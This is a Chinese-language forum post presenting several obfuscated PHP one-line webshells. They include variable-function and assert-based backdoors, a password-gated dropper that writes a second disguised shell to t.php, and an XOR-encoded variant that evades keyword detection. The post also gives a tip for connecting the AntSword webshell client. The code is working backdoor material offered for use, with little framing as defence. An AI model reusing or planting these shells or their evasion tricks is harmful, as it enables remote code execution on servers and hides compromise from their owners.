搜索
查看: 1599|回复: 0

一句话变形计

[复制链接]

305

主题

454

帖子

978

积分

vip用户

Rank: 6Rank: 6

积分
978

注册会员活跃会员热心会员

QQ
发表于 2020-10-17 12:38:41 来自手机 | 显示全部楼层 |阅读模式
常见一句话

 <?php
error_reporting(0);
$_GET[zxsq-anti-bbcode-'POST']($_POST[zxsq-anti-bbcode-'GET']);
?>


eval是一个语言构造器而不是一个函数,不能被可变函数调用
 <?php 
$POST[zxsq-anti-bbcode-'POST']='assert';$array[zxsq-anti-bbcode-]=$POST;$array[0][zxsq-anti-bbcode-'POST']($_POST[zxsq-anti-bbcode-'assert']);
?>

AntSword 连接的问题。 php assert 会把传入的字符串的引号进行一次实体编码,导致执行代码失败。这时候只需要把编码器换成 base64 或者 chr 这种没有引号的编码器就可以了
 <?php
if(!empty($_GET[zxsq-anti-bbcode-1]) && $_GET[zxsq-anti-bbcode-1]=='GET.fPZ87'){$_=@fopen('t.php', 'a');@fwrite($_,"<?php \$_=str_replace('ilo','ass',str_replace('vey','ert',\$_GET[zxsq-anti-bbcode-2]));@\$_(\$_POST[zxsq-anti-bbcode-1]);?>");@fclose($_);}
?>

PHP中字符异或后还是字符,我们只需要找到两个字符,他们的异或结果是我们所需要的字母即可
http://127.0.0.1/b.php?0=assert密码为1
 <?php 
@$_++;  //得到1
$__=("`"^"?").(":"^"}").("%"^"`").("{"^"/");  //得到_GET
$___=("$"^"{").("~"^".").("/"^"`").("-"^"~").("("^"|");  //得到_POST
${$__}[zxsq-anti-bbcode-!$_](${$___}[zxsq-anti-bbcode-$_]);  
?>
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 注册

本版积分规则

快速回复 返回顶部 返回列表